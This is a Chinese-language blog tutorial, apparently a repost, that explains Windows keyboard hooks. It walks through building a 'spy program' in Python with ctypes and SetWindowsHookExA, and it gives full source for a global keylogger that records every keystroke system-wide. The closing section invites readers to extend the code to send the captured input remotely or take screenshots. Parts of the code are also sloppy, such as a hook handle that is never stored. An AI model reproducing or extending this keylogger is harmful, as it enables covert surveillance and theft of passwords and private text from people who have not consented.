如何用 Python 监听软件?

裸睡的猪

共 5105字,需浏览 11分钟

 · 2020-03-23




0cf6485eb5707c6cebe9228629cca807.webp作者 | 寂夜云
来源 | https://www.cnblogs.com/lonenysky/p/12341074.html

我们常听说:如果要操作某个软件或者监听某个软件的话,可以使用钩子(Hook)钩住软件,那这是如何操作的呢?用Python又如何实现呢?本教程我们将通过注册Hook打造一款间谍程序,来监听win系统的笔记本,先给大家演示下效果吧!69bc727366a281cbe75feceed2ca2d23.webp

一、Hook 技术程序的基本原理在于通过注册Hook,记录系统事件。那么什么是Hook呢?Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要使用到两个DLL库:user32.dllkernel32.dll。这两个DLL有什么用处呢:

  • user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息
  • kernel32.dll:控制着系统的内存管理、数据的输入输出操作和中断处理


二、实现

了解了钩子的用处,那我们就来正式开始实现吧!
1.注册钩子首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数我们可以在系统上注册钩子。

通过查看 微软官方文档(https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowshookexa) ,我们看到SetWindowsHookExA函数的参数及参数类型如上所示。我们简单介绍一下关于这几个参数的含义:
  1. idHook:钩子的类型,可以监听消息、键盘、鼠标等等,这里我们来监视低级键盘输入事件作为案例演示!
  2. lpfn:钩子函数,这里就表示你监听到事件后要怎么处理,核心作用!
  3. hmodDLL句柄(类似编号)我们可以使用kernel32中的GetModuleHandleW来获取句柄
  4. dwThreadId我们填入0代表与同一桌面上所有的线程关联

上图中的代码我们可以看出使用的是C++语法,这时候Python中的 ctypes库 就可以助我们一臂之力!
ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。

Python使用ctypes库注册钩子代码:
from ctypes import CDLL
user32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

更多关于 ctypes库 使用教程可查看Python官方文档:https://docs.python.org/zh-cn/3.7/library/ctypes.html


2.编写钩子函数
上面我们说过 监视低级键盘输入事件(WH_KEYBOARD_LL)作为案例演示!而监听键盘事件(WH_KEYBOARD_LL)会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它!0a48de7bcff4c42b5e3a9e602dc3a841.webp
我们再次使用Python的 ctypes库定义一个回调函数!
def hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        # 此处插入我们的代码        pass    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)


3.删除Hook
最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢。虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。但是应用程序无法知道挂钩是否已删除,我们还是主动进行删除。删除需要使用user32.dllUnhookWindowsHookEx。
def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = None
完整的钩子函数:
def hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

4.声明原型
钩子函数已经写好了,但是这是Python函数,如何将它转成c++函数呢?这样windows才能读取。

通过ctypes文档我们可以得知Windows下使用WINFUNCTYPE来声明函数原型!
df12304c53e03c97824e18442392d17d.webp
将创建好的Python函数声明为c++函数:
# 创建声明,c_int表示函数入参类型HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))# 声明函数原型handleProc = HOOKPROC(hookProc)
最后我们将已经已经声明好的函数原型handleProc,传入最开始注册的钩子函数里:
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

5.完整代码上面的4步基本是主要的流程,一些更详细的操作这里不再过多介绍,给出全部代码,不到100行。
import sysfrom ctypes import *from ctypes.wintypes import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAMuser32 = CDLL("user32.dll")kernel32 = CDLL("kernel32.dll")class KBDLLHOOKSTRUCT(Structure):    _fields_ = [        ('vkCode', DWORD),        ('scanCode', DWORD),        ('flags', DWORD),        ('time', DWORD),        ('dwExtraInfo', DWORD)]def uninstallHookProc(hooked):    if hooked is None:        return    user32.UnhookWindowsHookEx(hooked)    hooked = Nonedef hookProc(nCode, wParam, lParam):    if nCode < 0:        return user32.CallNextHookEx(hooked, nCode, wParam, lParam)    else:        if wParam == 256:            if 162 == lParam.contents.value:                print("Ctrl pressed, call Hook uninstall()")                uninstallHookProc(hooked)                sys.exit(-1)            capsLock = user32.GetKeyState(20)            if lParam.contents.value == 13:                print("\n")            elif capsLock:                print(chr(lParam.contents.value), end="")            else:                print(chr(lParam.contents.value + 32), end="")    return user32.CallNextHookEx(hooked, nCode, wParam, lParam)def startKeyLog():    msg = MSG()    user32.GetMessageA(byref(msg), 0, 0, 0)def installHookProc(hooked, handleProc):    hooked = user32.SetWindowsHookExA(        13,        handleProc,        kernel32.GetModuleHandleW(),        0    )    if not hooked:        return False    return TrueHOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))handleProc = HOOKPROC(hookProc)hooked = Noneif installHookProc(hooked, handleProc):    print("Hook installed")    try:        msg = MSG()        user32.GetMessageA(byref(msg), 0, 0, 0)    except KeyboardInterrupt as kerror:        uninstallHookProc(hooked)        print("Hook uninstall...")else:    print("Hook installed error")

Windows系统的同学可以试试效果哦~
69bc727366a281cbe75feceed2ca2d23.webp


三、总结本次教程给大家简单的介绍了下:在Python中如何使用ctypes库调用Windows API。当然,上面我们监听到消息之后还可以远程发送或者截屏保存等等操作都可以,期待大家的骚操作哦!ctypes文档:https://docs.python.org/zh-cn/3.7/library/ctypes.html
win系统钩子文档:https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowshookexa




浏览 35
点赞
评论
收藏
分享

手机扫一扫分享

举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

举报